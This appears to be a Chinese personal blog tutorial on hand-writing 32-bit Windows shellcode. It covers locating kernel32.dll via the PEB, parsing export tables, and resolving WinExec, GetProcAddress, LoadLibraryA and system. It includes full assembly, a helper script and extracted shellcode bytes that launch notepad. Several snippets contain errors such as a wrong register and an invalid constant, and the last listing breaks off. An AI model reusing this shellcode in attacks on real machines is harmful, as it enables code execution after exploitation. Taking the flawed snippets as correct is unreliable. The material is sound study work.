前言:
这篇很长,而且还没写完,即使写完了,也不适合作为一篇初学者入门的tutorial,因为我省略了大量的从零开始的知识,所以你可能会对文章的内容排列觉得很突兀。这篇博客更多的意义是记录我个人在学习win32 shellcoding中的知识。如果能够对你有所帮助,不甚荣幸,如果有错误,欢迎指出。

如何找到kernel32.dll的地址?

  1. 先找到TEB(线程环境块),位于FS段寄存器上

  2. 在TEB的偏移0x30的位置是指向PEB(进程环境块)的指针,可以在这里看到PEB的结构如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    typedef struct _PEB {
    BYTE Reserved1[2];
    BYTE BeingDebugged;
    BYTE Reserved2[1];
    PVOID Reserved3[2];
    PPEB_LDR_DATA Ldr;
    PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
    PVOID Reserved4[3];
    PVOID AtlThunkSListPtr;
    PVOID Reserved5;
    ULONG Reserved6;
    PVOID Reserved7;
    ULONG Reserved8;
    ULONG AtlThunkSListPtr32;
    PVOID Reserved9[45];
    BYTE Reserved10[96];
    PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
    BYTE Reserved11[128];
    PVOID Reserved12[1];
    ULONG SessionId;
    } PEB, *PPEB;

    注意到第四个成员Ldr(PEB_LDR_DATA类型),其中包含了已经加载的dll的信息,前面的Reserved1是一个大小为2字节的数组,BeingDebugged占用1字节,Reserved2占用1字节,Reserved3是一个包含了两个指针的数组,占用4*2=8字节,所以_Ldr_在PEB中的偏移量为2+1+1+8=12字节,也就是0xC。

  3. PEB_LDR_DATA的结构可以在这里查看:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    typedef struct _PEB_LDR_DATA {
    ULONG Length;
    BOOLEAN Initialized;
    PVOID SsHandle;
    LIST_ENTRY InLoadOrderModuleList;
    LIST_ENTRY InMemoryOrderModuleList;
    LIST_ENTRY InInitializationOrderModuleList;

    } PEB_LDR_DATA, *PPEB_LDR_DATA;

    注意到Initialized是个boolean类型变量,只占用一个字节。但是因为内存对齐原因,下面的变量SsHandle是四个字节,所以Initialized会补齐四个字节,这样SsHandle的偏移量是0x8。重要的是后面三个LIST_ENTRY变量。LIST_ENTRY的结构可以在这里查看:

    1
    2
    3
    4
    typedef struct _LIST_ENTRY {
    struct _LIST_ENTRY *Flink;
    struct _LIST_ENTRY *Blink;
    } LIST_ENTRY, *PLIST_ENTRY, *RESTRICTED_POINTER PRLIST_ENTRY;

    可以看出来LIST_ENTRY实际上是一个双向链表的节点,而InLoadOrderModuleListInMemoryOrderModuleListInInitializationOrderModuleList实际上是双向链表的头。链表中的每个节点都指向一个LDR_DATA_TABLE_ENTRY的结构体,LDR_DATA_TABLE_ENTRY的结构可以在这里查看:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    typedef struct _LDR_DATA_TABLE_ENTRY {
    LIST_ENTRY InLoadOrderModuleList;
    LIST_ENTRY InMemoryOrderLinks;
    LIST_ENTRY InInitializationOrderModuleList;
    PVOID DllBase;
    PVOID EntryPoint;
    PVOID Reserved3;
    UNICODE_STRING FullDllName;
    BYTE Reserved4[8];
    PVOID Reserved5[3];
    union {
    ULONG CheckSum;
    PVOID Reserved6;
    };
    ULONG TimeDateStamp;
    } LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;

    注意到第四个变量DllBase,是dll的基地址。注意到前面有三个LIST_ENTRY变量,大小为8个字节(因为LIST_ENTRY结构体包含了两个指针),所以*DllBase在LDR_DATA_TABLE_ENTRY结构体中的偏移量为83=24=0x18**

    这里有两个有用的双向链表

    1. 一个是InInitializationOrderModuleList(位于PEB_LDR_DATA的0x1c的偏移位置),包含了按以加载顺序排列的dll的信息。
    2. 另一个是InMemoryOrderModuleList (位于PEB_LDR_DATA的0x14的偏移位置),包含了以内存中位置排列的dll的信息。
  4. InMemoryOrderModuleList 为例,每个链表的节点(代表每个dll)的偏移0x10的位置(因为InMemoryOrderModuleList 本身在LDR_DATA_TABLE_ENTRY结构体中的偏移量为0x8,所以相对于InMemoryOrderModuleList的偏移地址为0x18-0x8=0x10),包含了这个dll的基地址。

  5. InMemoryOrderModuleList 链表中,第一个是当前执行的可执行文件,第二个dll是ntdll.dll,第三个dll是kernel32.dll。

所以相对应的汇编指令就是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# after the line below, ebx contains the pointer to PEB
mov ebx, fs:0x30 # shellcode: \x64\x8b\x1d\x30\x00\x00\x00,有空字符,所以一般用下面的
xor eax, eax # shellcode: \x31\xc0
mov ebx, fs:[eax+0x30] # shellcode: \x64\x8b\x58\x30,不含空字符,比上面那个好,而且比上面的短

# after the line below, ebx contains the pointer to PEB_LDR_DATA
mov ebx, [ebx+0x0c]

# after the line below, ebx contains the pointer to the first node in InMemoryOrderModuleList
mov ebx, [ebx+0x14]

# after the line below, ebx contains the pointer to the second node in InMemoryOrderModuleList, which is ntdll.dll
mov ebx, [ebx]

# after the line below, ebx contains the pointer to the third node in InMemoryOrderModuleList, which is kernel32.dll
mov ebx, [ebx]

# after the line below, ebx contains the base address of the kernel32.dll
mov ebx, [ebx+0x10]

locate_dll

图片来源:https://idafchev.github.io/images/windows_shellcode/locate_dll.png

如何找到函数的地址?

找到kernel32.dll的基址之后,就可以找到我们想要调用的函数的地址了。下面以WinExec函数为例。

我们需要遍历dll的几个头文件,这里涉及到PE格式的相关知识。下面的工具使用的是PEview

  1. 在PE格式里,RVA(相对虚拟地址)偏移量0x3c里存放了PE签名的RVA,PE签名为\x50\x45\x00\x00,就是PE的16进制形式加上两个空字符:

    image-20200517022418640

    image-20200517022440884

  2. 在距离PE签名的RVA偏移0x78的地方,有着导出表的RVA。以上图为例,上面PE签名的RVA是0xF8,所以导出表的RVA所在地址为0x78+0xF8 = 0x170

    image-20200517022536055我们得知导出表的RVA为0x000972C0

  3. 从导出表中,我们可以找到函数的个数,地址表(Address Table)(保存了函数的地址),名称指针表(Name Pointer Table)(保存了指向函数名的指针),以及顺序表(Ordinal Table)(保存了函数在地址表中的位置)

    1. 从导出表的开头偏移0x14的地方,储存了这个dll导出的函数个数,0x000972C0+0x14=0x000972D4

    image-202005170226252930x643=1603个函数

    1. 从导出表的开头偏移0x1C的地方,储存了地址表的RVA,0x000972C0+0x1C=0x000972DC

    image-20200517023439809

    1. 从导出表的开头偏移0x20的地方,储存了名称指针表的RVA,0x000972C0+0x20=0x000972E0

    image-20200517023652108

    1. 从导出表的开头偏移0x24的地方,储存了顺序表的RVA,0x000972C0+0x24=0x000972E4

    image-20200517023757355

有了这些信息,我们就能来找kernel32.dll中的任意函数地址了。

比如说我想找WinExec的地址,

  1. 找到PE签名的RVA(kernel32.dll的基址+0x3C)
  2. 找到PE签名的地址(kernel32.dll的基址+PE签名的RVA)
  3. 找到导出表的RVA(PE签名的地址+0x78)
  4. 找到导出表的地址(kernel32.dll的基址+导出表的RVA)
  5. 找到导出函数的个数(导出表的地址+0x14)
  6. 找到地址表的RVA(导出表的地址+0x1C)
  7. 找到地址表的地址(kernel32.dll的基址+地址表的RVA)
  8. 找到名称指针表的RVA(导出表的地址+0x20)
  9. 找到名称指针表的地址(kernel32.dll的基址+名称指针表的RVA)
  10. 找到顺序表的RVA(导出表的地址+0x24)
  11. 找到顺序表的地址(kernel32.dll的基址+顺序表的RVA)
  12. 遍历名称指针表,将函数名称与WinExec作对比,保持一个变量cnt记录遍历次数
  13. 在顺序表中找到WinExec的序数(位于[顺序表的地址+cnt*2]),因为顺序表中每个条目占用2字节
  14. 在地址表中找到WinExec的RVA(位于[地址表的地址+序数*4]),因为地址表中每个条目占用4字节
  15. 计算WinExec的地址(kernel32.dll的基址+WinExec的RVA)

这里有一个疑问,就是为什么不直接用cnt*4加上地址表的地址来找WinExec的RVA,而要通过顺序表中转一下。因为在地址表中,第一个条目不一定对应的就是名称指针表的第一个函数名称的地址。具体可以看下面两张图:

image-20200517031115358

image-20200517031145261

可以看到在地址表中,前三个条目并没有出现在名称指针表中。如果直接cnt*4加上地址表的地址来作为WinExec的地址,会与实际地址有0x12的偏差,所以比较安全的办法是通过顺序表中转一下。

如何找到WinExec函数地址

下面就是将上面的逻辑写成代码,这里假设ebx里是kernel32.dll的基址,并且预想将栈设置成下面这样:

image-20200517035932037

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#新建一个栈帧
push ebp
mov ebp, esp

#抬高栈帧
sub esp, 0x18

# 将 'WinExec'字符串push到栈上
xor eax, eax
push eax # 空字符终止字符
push 0x00636578 # "xec\x00"
push 0x456e6957 # "WinE"
mov [ebp-4], esp # 将"WinExec"字符的地址放到ebp-0x4上

# 将kernel32.dll的基址push到栈上
mov [ebp-8], ebp # 将kernel32.dll的基址放到ebp-0x8上

# 找"WinExec"函数的地址
mov eax, [ebx+0x3c] # eax里是PE签名的RVA
add eax, ebx # eax里是PE签名的地址
mov eax, [eax+0x78] # eax里是导出表的RVA
add eax, ebx # eax里是导出表的地址

mov edx, [eax+0x14] # edx里是导出函数的个数

mov ecx, [eax+0x1c] # ecx里是地址表的RVA
add ecx, ebx # ecx里是地址表的地址
mov [ebp-0x14], ecx # 将地址表的地址放到ebp-0x14上

mov ecx, [eax+0x20] # ecx里是名称指针表的RVA
add ecx, ebx # ecx里是名称指针表的地址
mov [ebp-0x10], ecx # 将名称指针表的地址放到ebp-0x10上

mov ecx, [eax+0x24] # ecx里是顺序表的RVA
add ecx, ebx # ecx里是顺序表的地址
mov [ebp-0xc], ecx # 将顺序表的地址放到ebp-0xc上

xor eax, eax # eax作为遍历的的计数变量cnt

.loop:
mov edi, [ebp-0x10] # edi里是名称指针表的地址
mov esi, [ebp-0x4] # esi里是指向"WinExec"字符串的指针
xor ecx, ecx # 将ecx清零

cld # 将方向标志位DF清零
mov edi, [edi+eax*4] # edi里是当前名称指针表里的条目的RVA(即函数名的RVA)
add edi, ebx # edi里是函数名的地址
add cx, 0x8 # 比较8位字符
repe cmpsb # 将esi和edi指向的字符串做逐位比较,相同的话ZF=1,不同的话ZF=0

jz start.found # 如果ZF不为0,说明找到了

inc eax # cnt自增1
cmp eax, edx # 看有没有遍历完所有函数
jb start.loop # 如果没有,跳到loop开头

add esp, 0x24 # 到这里说明已经遍历完,没有找到目标函数,把栈清空
jmp start.end # 结束

.found:
mov ecx, [ebp-0xc] # ecx里是顺序表的地址
mov edx, [ebp-0x14] # edx里是地址表的地址
mov ax, [ecx+eax*2] # eax里是目标函数在顺序表中的序数(位于[顺序表的地址+cnt*2]),注意序数只占两个字节,所以目标寄存器需要是ax
mov eax, [edx+eax*4] # eax里是目标函数的RVA
add eax, ebp # eax里是目标函数的地址

.end
ret # 返回就是了

太晚了,下次补完用GetProcAddress函数查找其他函数地址和使用LoadLibrary函数来加载其他dll的技巧。


updated on 20200518:

如何使用WinExec执行命令

找到了WinExec函数地址,下面就是直接call了,在这里查看WinExec的语法:

1
2
3
4
UINT WinExec(
LPCSTR lpCmdLine,
UINT uCmdShow
);

lpCmdLine指向要执行的命令的字符串。

uCmdShow定义了显示选项,在这里查看具体的数值所代表的的意义,简单的设置为10(SW_SHOWDEFAULT)即可。

下面假设eax中是WinExec的函数地址,我要弹一个记事本出来。

先写一个小工具,生成push字符串到栈上并实现栈平衡的汇编语句。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import sys
import math

string = sys.argv[1]

stack_slot_size = 4

string += "\x00"*(math.ceil(len(string)/stack_slot_size)*stack_slot_size-len(string))

string = string[::-1]

for i in range(int(len(string)/stack_slot_size)):
tmp = string[i*stack_slot_size:i*stack_slot_size+stack_slot_size]
print("push 0x"+''.join(str(hex(ord(j)))[2:].zfill(2) for j in tmp))
1
2
3
4
5
6
7
8
9
D:\Practice\python>python test.py c:\windows\system32\notepad.exe
push 0x00657865
push 0x2e646170
push 0x65746f6e
push 0x5c32336d
push 0x65747379
push 0x735c7377
push 0x6f646e69
push 0x775c3a63

那么调用WinExec运行c:\windows\system32\notepad.exe的完整汇编指令就是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
xor edx, edx
push edx
push 0x00657865
push 0x2e646170
push 0x65746f6e
push 0x5c32336d
push 0x65747379
push 0x735c7377
push 0x6f646e69
push 0x775c3a63
mov esi, esp # esi points to the string "c:\windows\system32\notepad.exe"

push 19 # SW_SHOWDEFAULT
push esi
call eax

完整汇编代码,使用nasm编译

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
section .text
global _start
_start:
pushad ; push all gpr

; Establish a new stack frame
push ebp
mov ebp, esp

sub esp, 0x18 ; lift up stack, reserve space for local variables

; Find kernel32.dll base address
xor esi, esi ; esi = 0
mov ebx, [fs:esi+0x30] ; avoid null bytes, to be compatible with fasm, for nasm, use fs:[eax+0x30]
mov ebx, [ebx + 0x0C]
mov ebx, [ebx + 0x14]
mov ebx, [ebx]
mov ebx, [ebx]
mov ebx, [ebx + 0x10] ; now ebx holds kernel32.dll base address

; push the function name onto the stack
xor esi, esi
push esi ; null termination
push 0x00636578
push 0x456e6957
mov [ebp-4], esp ; pointer to "WinExec\x00" is at ebp-0x4

mov [ebp-8], ebx ; base address of kernel32.dll is at ebp-0x8

; Find the address of the export table
mov eax, [ebx + 0x3c] ; RVA of PE signature
add eax, ebx ; address of PE signature
mov eax, [eax + 0x78] ; RVA of export table
add eax, ebx ; address of export table

; Find number of exported functions
mov edx, [eax + 0x14] ; number of exported functions

; Find the address of the address table
mov ecx, [eax + 0x1c] ; RVA of address table
add ecx, ebx ; address of address table
mov [ebp-0x14], ecx ; address of address table is at ebp-0x14

; Find the address of the name pointer table
mov ecx, [eax + 0x20] ; RVA of name pointer table
add ecx, ebx ; address of name pointer table
mov [ebp-0x10], ecx ; address of name pointer table is at ebp-0x10

mov ecx, [eax + 0x24] ; RVA of ordinal table
add ecx, ebx ; address of ordinal table
mov [ebp-0xc], ecx ; address of ordinal table is at ebp-0xc

xor eax, eax ; cnt = 0

.loop:
mov edi, [ebp-0x10] ; edi holds the address of name pointer table
mov esi, [ebp-4] ; esi points to "WinExec\x00"
xor ecx, ecx

cld ; set DF=0 => process strings from left to right
mov edi, [edi + eax*4] ; edi holds the rva of the entries in name pointer table
add edi, ebx ; edi holds the address of the function name
add cx, 0x8 ; length of strings to compare (len('WinExec') = 8)
repe cmpsb ; compare the strings pointed by esi and edi byte by byte. if equal, ZF=1, otherwise, ZF=0
jz _start.found ; if not zero, two strings are equal. found it!

inc eax ; cnt++
cmp eax, edx ; check if last function is reached
jb _start.loop ; if not the last -> go back to the beginning of the loop

add esp, 0x24
jmp _start.end ; if function is not found, jump to the end

.found:
; the counter (eax) now holds the position of WinExec

mov ecx, [ebp-0xc] ; ecx holds the address of the ordinal table
mov edx, [ebp-0x14] ; edx holds the address of the address table

mov ax, [ecx + eax*2] ; eax holds the ordinal number of the target function `WinExec` in ordinal table
mov eax, [edx + eax*4] ; eax holds the RVA of the target function `WinExec`
add eax, ebx ; eax holds the address of the target function `WinExec`

xor edx, edx
push edx ; null termination
push 0x00657865
push 0x2e646170
push 0x65746f6e
push 0x5c32336d
push 0x65747379
push 0x735c7377
push 0x6f646e69
push 0x775c3a63
mov esi, esp ; esi points to "C:\Windows\System32\notepad.exe"

push 10 ; window state SW_SHOWDEFAULT
push esi ; "C:\Windows\System32\notepad.exe"
call eax ; WinExec

add esp, 0x4c ; clear the stack

.end:
popad ; restore the gpr
ret

先用nasm编译,再使用ld连接,最后用objdump导出shellcode

1
2
3
4
5
6
7
8
9
# root @ kali in /tmp [4:50:28] C:1
$ nasm -f elf32 -o shellcode.o asm

# root @ kali in /tmp [4:50:41]
$ ld -m elf_i386 -o shellcode shellcode.o

# root @ kali in /tmp [4:50:46]
$ objdump -d ./shellcode|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x60\x55\x89\xe5\x83\xec\x18\x31\xf6\x64\x8b\x5e\x30\x8b\x5b\x0c\x8b\x5b\x14\x8b\x1b\x8b\x1b\x8b\x5b\x10\x31\xf6\x56\x68\x78\x65\x63\x00\x68\x57\x69\x6e\x45\x89\x65\xfc\x89\x5d\xf8\x8b\x43\x3c\x01\xd8\x8b\x40\x78\x01\xd8\x8b\x50\x14\x8b\x48\x1c\x01\xd9\x89\x4d\xec\x8b\x48\x20\x01\xd9\x89\x4d\xf0\x8b\x48\x24\x01\xd9\x89\x4d\xf4\x31\xc0\x8b\x7d\xf0\x8b\x75\xfc\x31\xc9\xfc\x8b\x3c\x87\x01\xdf\x66\x83\xc1\x08\xf3\xa6\x74\x0a\x40\x39\xd0\x72\xe5\x83\xc4\x24\xeb\x44\x8b\x4d\xf4\x8b\x55\xec\x66\x8b\x04\x41\x8b\x04\x82\x01\xd8\x31\xd2\x52\x68\x65\x78\x65\x00\x68\x70\x61\x64\x2e\x68\x6e\x6f\x74\x65\x68\x6d\x33\x32\x5c\x68\x79\x73\x74\x65\x68\x77\x73\x5c\x73\x68\x69\x6e\x64\x6f\x68\x63\x3a\x5c\x77\x89\xe6\x6a\x0a\x56\xff\xd0\x83\xc4\x4c\x61\xc3"

写一个小脚本来自动完成这三步

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import os
import sys

def exec_cmd(cmd):
with os.popen(cmd,'r') as f:
buf = f.read()
buf = buf[:-1]
return buf

if (len(sys.argv)<2):
sys.exit("please specify the name!")

filename = sys.argv[1]

if not os.path.exists(filename):
sys.exit("file does not exist!")

compile_command = "nasm -f elf32 -o shellcode.o " + filename

link_command = "ld -m elf_i386 -o shellcode shellcode.o"

dump_command = "bash -c 'for i in $(objdump -d shellcode |grep \"^ \" |cut -f2); do echo -n \"\\\\x\"$i; done; echo'"

cleanup_command = "rm ./shellcode.o ./shellcode"

commands = [compile_command, link_command, dump_command, cleanup_command]

for i in commands:
print(exec_cmd(i))
1
2
3
4
5
6
# root @ kali in ~/osce [5:17:07] 
$ python shellcode_dumper.py /tmp/asm


\x60\x55\x89\xe5\x83\xec\x18\x31\xf6\x64\x8b\x5e\x30\x8b\x5b\x0c\x8b\x5b\x14\x8b\x1b\x8b\x1b\x8b\x5b\x10\x31\xf6\x56\x68\x78\x65\x63\x00\x68\x57\x69\x6e\x45\x89\x65\xfc\x89\x5d\xf8\x8b\x43\x3c\x01\xd8\x8b\x40\x78\x01\xd8\x8b\x50\x14\x8b\x48\x1c\x01\xd9\x89\x4d\xec\x8b\x48\x20\x01\xd9\x89\x4d\xf0\x8b\x48\x24\x01\xd9\x89\x4d\xf4\x31\xc0\x8b\x7d\xf0\x8b\x75\xfc\x31\xc9\xfc\x8b\x3c\x87\x01\xdf\x66\x83\xc1\x08\xf3\xa6\x74\x0a\x40\x39\xd0\x72\xe5\x83\xc4\x24\xeb\x44\x8b\x4d\xf4\x8b\x55\xec\x66\x8b\x04\x41\x8b\x04\x82\x01\xd8\x31\xd2\x52\x68\x65\x78\x65\x00\x68\x70\x61\x64\x2e\x68\x6e\x6f\x74\x65\x68\x6d\x33\x32\x5c\x68\x79\x73\x74\x65\x68\x77\x73\x5c\x73\x68\x69\x6e\x64\x6f\x68\x63\x3a\x5c\x77\x89\xe6\x6a\x0a\x56\xff\xd0\x83\xc4\x4c\x61\xc3

上面的汇编代码也可以用fasm编译成exe,只要将前面几行替换成下面的就可以:

1
2
3
4
5
format PE console
use32
entry _start
_start:
pushad ; push all gpr

updated on 20200519:

GetProcAddress以及LoadLibrary函数使用技巧

下面说用GetProcAddress函数查找其他函数地址,以及使用LoadLibrary函数加载其他dll的技巧。这两个函数都能够在kernel32.dll中找到。

首先先看这两个函数的调用约定。

GetProcAddress的函数调用约定可以在这里找到:

1
2
3
4
FARPROC GetProcAddress(
HMODULE hModule,
LPCSTR lpProcName
);
  • hModule是在这个模块中查找导出函数地址的模块句柄,它由LoadLibraryA,LoadLibraryEx,LoadPackagedLibrary或者GetModuleHandle函数返回
  • lpProcName是函数名或者函数序数,为了避免函数名实际不存在,推荐传入函数名作为参数

LoadLibrary 函数的调用约定可以在这里找到:

1
2
3
HMODULE LoadLibraryA(
LPCSTR lpLibFileName
);
  • lpLibFileName是模块名

注意到我前面说的是LoadLibrary,但列出来的却是LoadLibraryA,因为LoadLibrary默认是使用LoadLibraryW加载Unicode字符串形式的模块,要使用ANSI字符串形式的模块,则需要用LoadLibrary,具体可以看这里

这里还有个问题,GetProcAddress函数的第一个参数是LoadLibraryA的返回值,为了搞清楚LoadLibraryA的返回值是什么,我又写了个简单的汇编脚本,试了一下LoadLibraryA(“user32.dll”),发现返回的其实就是user32.dll的加载基址。

所以实际上我有了GetProcAddress函数和LoadLibraryA函数之后我可以做的就很多了,这两个函数都可以在默认加载的kernel32.dll中找到。比如说我可以用LoadLibraryA加载一个dll,然后再用GetProcAddress去查找某个特定的函数在这个dll中的地址,然后调用这个函数。

比如我头铁,放着WinExec不用,就想去调用msvcrt.dll里的system,或者shell32.dll里的ShellExecuteA,有了GetProcAddressLoadLibraryA这两个函数之后,这些操作都变得很简单了。

如何使用System函数执行命令

用PEview看了几个常用的dll,发现System函数在msvcrt.dll中。

这里假设可执行文件没有加载msvcrt.dll库。那么首先我要从kernel32.dll中获取GetProcAddress以及LoadLibraryA函数地址,然后加载msvcrt.dll库,再从msvcrt.dll的基址往后使用GetProcAddress获取system函数地址。似乎有点麻烦,一步一步来。

先是获取GetProcAddress函数地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
   pushad      ; push all gpr

; Establish a new stack frame
push ebp
mov ebp, esp

sub esp, 0x18 ; lift up stack, reserve space for local variables

; Find kernel32.dll base address
xor esi, esi ; esi = 0
mov ebx, [fs:esi+0x30] ; avoid null bytes, to be compatible with fasm, for nasm, use fs:[eax+0x30]
mov ebx, [ebx + 0x0C]
mov ebx, [ebx + 0x14]
mov ebx, [ebx]
mov ebx, [ebx]
mov ebx, [ebx + 0x10] ; now ebx holds kernel32.dll base address

; push the function name onto the stack
xor esi, esi
push esi ; null termination
push 0x00007373
push 0x65726464
push 0x41636f72
push 0x50746547
mov [ebp-4], esp ; pointer to "GetProcAddress" is at ebp-0x4

mov [ebp-8], ebx ; base address of kernel32.dll is at ebp-0x8

; Find the address of the export table
mov eax, [ebx + 0x3c] ; RVA of PE signature
add eax, ebx ; address of PE signature
mov eax, [eax + 0x78] ; RVA of export table
add eax, ebx ; address of export table

; Find number of exported functions
mov edx, [eax + 0x14] ; number of exported functions

; Find the address of the address table
mov ecx, [eax + 0x1c] ; RVA of address table
add ecx, ebx ; address of address table
mov [ebp-0x14], ecx ; address of address table is at ebp-0x14

; Find the address of the name pointer table
mov ecx, [eax + 0x20] ; RVA of name pointer table
add ecx, ebx ; address of name pointer table
mov [ebp-0x10], ecx ; address of name pointer table is at ebp-0x10

mov ecx, [eax + 0x24] ; RVA of ordinal table
add ecx, ebx ; address of ordinal table
mov [ebp-0xc], ecx ; address of ordinal table is at ebp-0xc

xor eax, eax ; cnt = 0

.loop:
mov edi, [ebp-0x10] ; edi holds the address of name pointer table
mov esi, [ebp-4] ; esi points to "GetProcAddress"
xor ecx, ecx

cld ; set DF=0 => process strings from left to right
mov edi, [edi + eax*4] ; edi holds the rva of the entries in name pointer table
add edi, ebx ; edi holds the address of the function name
add cx, 0xe ; length of strings to compare (len('GetProcAddress') = 14 = 0xe)
repe cmpsb ; compare the strings pointed by esi and edi byte by byte. if equal, ZF=1, otherwise, ZF=0
jz _start.found ; if not zero, two strings are equal. found it!

inc eax ; cnt++
cmp eax, edx ; check if last function is reached
jb _start.loop ; if not the last -> go back to the beginning of the loop

add esp, 0x24
jmp _start.end ; if function is not found, jump to the end
.found:
; the counter (eax) now holds the position of WinExec

mov ecx, [ebp-0xc] ; ecx holds the address of the ordinal table
mov edx, [ebp-0x14] ; edx holds the address of the address table

mov ax, [ecx + eax*2] ; eax holds the ordinal number of the target function `GetProcAddress` in ordinal table
mov eax, [edx + eax*4] ; eax holds the RVA of the target function `GetProcAddress`
add eax, ebx ; eax holds the address of the target function `GetProcAddress`

到结尾时,eax中有着GetProcAddress函数的地址。

然后是调用GetProcAddress来获取LoadLibraryA函数的地址。注意因为函数返回的时候,返回值会放在eax里,所以我先把GetProcAddress的地址保存到栈上。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
; use GetProcAddress to find the address of LoadLibrary in kernel32.dll
mov [ebp-0x4], eax ; address of "GetProcAddress" at [ebp-0x04]
mov esp, ebp
sub esp, 0x8 ; esp now points to the base address of kernel32.dll
xor ecx, ecx
push ecx ; null termination
push 0x41797261
push 0x7262694c
push 0x64616f4c ; "LoadLibraryA"
push esp ; push the pointer of the string "LoadLibraryA"
mov ecx, [ebp-0x8]
push ecx ; push the base address of kernel32.dll
call eax ; call "GetProcAddress" to get the address of LoadLibraryA

到结尾时,eax中有着 LoadLibraryA函数的地址。

像上面一样,我先把LoadLibraryA的函数地址保存到栈上,然后再调用它来加载msvcrt.dll。

1
2
3
4
5
6
7
8
9
10
11
; use LoadLibraryA to load msvcrt.dll
mov [ebp-0xc], eax ; address of "LoadLibraryA" at [ebp-0xc]
mov esp, ebp ; rebase the stack
sub esp, 0xc ; esp now points to the address of LoadLibraryA
xor ecx, ecx
push ecx
push 0x00006c6c
push 0x642e7472
push 0x6376736db ; "msvcrt.dll"
push esp
call eax ; push the pointer of the string "msvcrt.dll"

到结尾时,eax中有着msvcrt.dll的基地址。

像上面一样,我先把msvcrt.dll的基地址保存到栈上,然后再调用GetProcAddress来查找system函数的地址。

1
2
3
4
5
6
7
8
9
10
; use GetProcAddress to find the address of system in msvcrt.dll
mov [ebp-0x10], eax ; base address of msvcrt.dll at [ebp-0x10]
mov esp, ebp ; rebase the stack
sub esp, 0x10 ; esp now points to the base address of msvcrt.dll
push 0x00006d65
push 0x74737973 ; "system"
push esp ; push the pointer of the string "system"
push eax ; push the base address of msvcrt.dll
mov eax, [ebp-0x4] ; move the address of "GetProcAddress" to eax
call eax ; call "GetProcAddress"

到结尾时,eax中有着system函数的地址。

最后就是调用system函数来执行命令了,比如弹个记事本出来?

1
2
3
4
5
6
; use system to execute arbitrary command
push 0x00657865
push 0x2e646170
push 0x65746f6e ; "notepad.exe"
push esp ; push the pointer of the string "notepad.exe"
call eax ; call "system"

完整汇编程序代码,可用fasm编译:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
format PE console
use32
entry _start
_start:
pushad ; push all gpr

; Establish a new stack frame
push ebp
mov ebp, esp

sub esp, 0x18 ; lift up stack, reserve space for local variables

; Find kernel32.dll base address
xor esi, esi ; esi = 0
mov ebx, [fs:esi+0x30] ; avoid null bytes, to be compatible with fasm, for nasm, use fs:[eax+0x30]
mov ebx, [ebx + 0x0C]
mov ebx, [ebx + 0x14]
mov ebx, [ebx]
mov ebx, [ebx]
mov ebx, [ebx + 0x10] ; now ebx holds kernel32.dll base address

; push the function name onto the stack
xor esi, esi
push esi ; null termination
push 0x00007373
push 0x65726464
push 0x41636f72
push 0x50746547
mov [ebp-4], esp ; pointer to "GetProcAddress" is at ebp-0x4

mov [ebp-8], ebx ; base address of kernel32.dll is at ebp-0x8

; Find the address of the export table
mov eax, [ebx + 0x3c] ; RVA of PE signature
add eax, ebx ; address of PE signature
mov eax, [eax + 0x78] ; RVA of export table
add eax, ebx ; address of export table

; Find number of exported functions
mov edx, [eax + 0x14] ; number of exported functions

; Find the address of the address table
mov ecx, [eax + 0x1c] ; RVA of address table
add ecx, ebx ; address of address table
mov [ebp-0x14], ecx ; address of address table is at ebp-0x14

; Find the address of the name pointer table
mov ecx, [eax + 0x20] ; RVA of name pointer table
add ecx, ebx ; address of name pointer table
mov [ebp-0x10], ecx ; address of name pointer table is at ebp-0x10

mov ecx, [eax + 0x24] ; RVA of ordinal table
add ecx, ebx ; address of ordinal table
mov [ebp-0xc], ecx ; address of ordinal table is at ebp-0xc

xor eax, eax ; cnt = 0

.loop:
mov edi, [ebp-0x10] ; edi holds the address of name pointer table
mov esi, [ebp-4] ; esi points to "GetProcAddress"
xor ecx, ecx

cld ; set DF=0 => process strings from left to right
mov edi, [edi + eax*4] ; edi holds the rva of the entries in name pointer table
add edi, ebx ; edi holds the address of the function name
